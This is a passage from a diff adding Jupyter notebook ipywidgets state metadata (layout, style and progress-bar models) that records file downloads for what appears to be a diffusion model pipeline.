"_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ec96bfae8c9c48e5827755ce0e8a885f", + "max": 541, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_0c6beb3311554ae1b3bea23eadf8620d", + "value": 541 + } + }, + "ad63323795ae48679bb40de0056219d3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_4cb413851dc3469a8ea04e40373b11de", + "IPY_MODEL_21549aef7c6f4c64b8eb676c6dd105e2", + "IPY_MODEL_7cd3b5a0ce274ae5b5954a3c7d9d3bb4" + ], + "layout": "IPY_MODEL_4a3a0d14e22f4a6e9dbb5fb35bc33e8d" + } + }, + "ad785ec6b7924f2ebcdf0957a16c656d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "aec13914c37649feb868b8f531a07a83": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fd3e1648c2b84f5f81cd7ee3d2fbc4c0", + "placeholder": "​", + "style": "IPY_MODEL_25d1091281ad407c833a36c7e421e1e2", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "af113f9b9b1749f0a856b3f371f03a2d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_72fc016402374ad996a292470fa75906", + "placeholder": "​", + "style": "IPY_MODEL_4ec20db88a97441982a914517888a8b4", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "af944c373890491698424b1ca1c6969b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b82b0f73fa4d4fc395d106930015c7a0", + "placeholder": "​", + "style": "IPY_MODEL_bd3c80a835d242d19fe187d65e737d6c", + "value": " 308/308 [00:00<00:00, 2.39kB/s]" + } + }, + "b08e7b6e25c24054ac5b2b18bcb6f2ae": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b09e0313ea6d461e99ee9e2778639310": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b20aec5624874591a63b0d0f3d4daeda", + "max": 308, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_aa79187007a448a381f604ea8b5be0ba", + "value": 308 + } + }, + "b1659a9d5e294f9bbc1b20e892e16326": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b1da7b0efaaf4db4a7660bc5457f2bfa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1daa130f38a84c6d9a4149536b21927e", + "placeholder": "​", + "style": "IPY_MODEL_bf14652b43264c2b884e2d19786d6f5e", + "value": "Downloading (…)e6a/unet/config.json: 100%" + } + }, + "b20aec5624874591a63b0d0f3d4daeda": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b2efd56d5e834196818f46a7b287c2c3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_058220c3342b49e0bcc1f0973566ac72", + "max": 1059962, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7db99c4ea5e14e9bb5180a5beb4cc142", + "value": 1059962 + } + }, + "b2fad15effb84bce8aac9b9d2bf94b19": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4e264753749d48a8aab85b9f8fe30aba", + "placeholder": "​", + "style": "IPY_MODEL_014e701444c54eee97d0b36ea38344ab", + "value": " 147M/147M [00:00<00:00, 306MB/s]" + } + }, + "b3418378805c4029aa6e6b939ae3c84b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b3967f91f621495cb1715427fcc57011": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d4b746bc99074570a82175ef438cfb10", + "placeholder": "​", + "style": "IPY_MODEL_8f92d6ba8bd04fabb8e6dddf0c7dfa44", + "value": " 920/920 [00:00<00:00, 22.7kB/s]" + } + }, + "b3bd2d853e02483080ff7dfbd5b448e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_55f31f27ce954a0c8c0d1e63938c7bc0", + "IPY_MODEL_40ef1d0b44164265bea4eea32ce1b907", + "IPY_MODEL_3da34455151b42319fc32e56afeb7959" + ], + "layout": "IPY_MODEL_1bf842268bf64cadbf2bda6da0d4a690" + } + }, + "b3d9135383894e049a5f6f7fc77d7b5a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_a97373cd0b29464dac7d2b3bfe3aa276", + "IPY_MODEL_10bfbe36a3e24b30a6e300e852ff7811", + "IPY_MODEL_af944c373890491698424b1ca1c6969b" + ], + "layout": "IPY_MODEL_3b250841cf664fcd8a57fb25d23b29ee" + } + }, + "b4e865be02fb4290849b676f4dd18ed0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b539338d7bf84f50a8c57f90986a8d9a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b54312c4603b400b97884eba33ad1095": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b5462a2b462147899d82f6b4617cf781": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b57cb9d64aa44f748fc6cffc6f95f5a3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_335f1c1d85ec4723b8796b79d518c7be", + "IPY_MODEL_e9ef39e82cf645e396daea04a1e178f1", + "IPY_MODEL_97570891602f4963bdfaacd309438ca7" + ], + "layout": "IPY_MODEL_036af165dae748a19a3691dbe74e7a1a" + } + }, + "b57f5b94be66435fab8e8aa9b877848c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b5a39dc5eccf4747ade601d25681c2b2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_1ce482eed7dd4a62b5c97b7fae38f392", + "IPY_MODEL_f566fa59f127470087bb68beea6ee8fb", + "IPY_MODEL_6c0b26e65230468cb5ef11d3d0bf1bd3" + ], + "layout": "IPY_MODEL_aa4097be74c3412eb9571ed6ef250828" + } + }, + "b6c5549bd95644ad9e553c2e59199f04": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c0771d4d9b7242c4a1b6ea8954e9e96e", + "max": 524619, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_682a337dc14e48908be4cf40f7320d1f", + "value": 524619 + } + }, + "b6f79be711a94896ba08b0af7293cd04": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_182d76403d844b96bd20c3a7c49b4357", + "placeholder": "​", + "style": "IPY_MODEL_c81fe2532ac14ae6a5411a866f8e42ac", + "value": "Fetching 13 files: 100%" + } + }, + "b74532a8bd8e49f2a8286a1eed72a0d3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b82b0f73fa4d4fc395d106930015c7a0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b84453116ba14690b8ae8a8e723f8510": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b54312c4603b400b97884eba33ad1095", + "placeholder": "​", + "style": "IPY_MODEL_b93ed8d01dbd4e0a84ff01b2e15f68ec", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "b87077da3f824478ac88369582d77e8e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b8a38cb7b914460caf5f190692f5b935": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_633f3db9f5dd4f6984aa821a1717c03b", + "IPY_MODEL_c184aabb31504cbd8361a9ab06899438", + "IPY_MODEL_5c428d2de97f4bc28835ead1f6331e9e" + ], + "layout": "IPY_MODEL_229a1efdf3df4fe9aac07562774b084b" + } + }, + "b93ed8d01dbd4e0a84ff01b2e15f68ec": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b9df58ad481f414f8240ce076cf53363": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ba3cf4ae2c4e45e58abb82d2491fb7ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bcd48b3b056c4c14b6034ef32fdde5d5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bd3c80a835d242d19fe187d65e737d6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bd5c5827932b4dabbac38adb33544e48": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_455bc344fe60421da1ac931657cbd162", + "max": 1059962, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_88491458b25e4ae5a66afeaae7f76c12", + "value": 1059962 + } + }, + "be56ad8a63884a33a22bfb3b39da1cc0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c44f196498724b1b80b25bda832dc310", + "placeholder": "​", + "style": "IPY_MODEL_069b424c2d3846b8ba69a455dbda1f88", + "value": "100%" + } + }, + "be72ef0e4b8840608fd9160a6b43075d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": 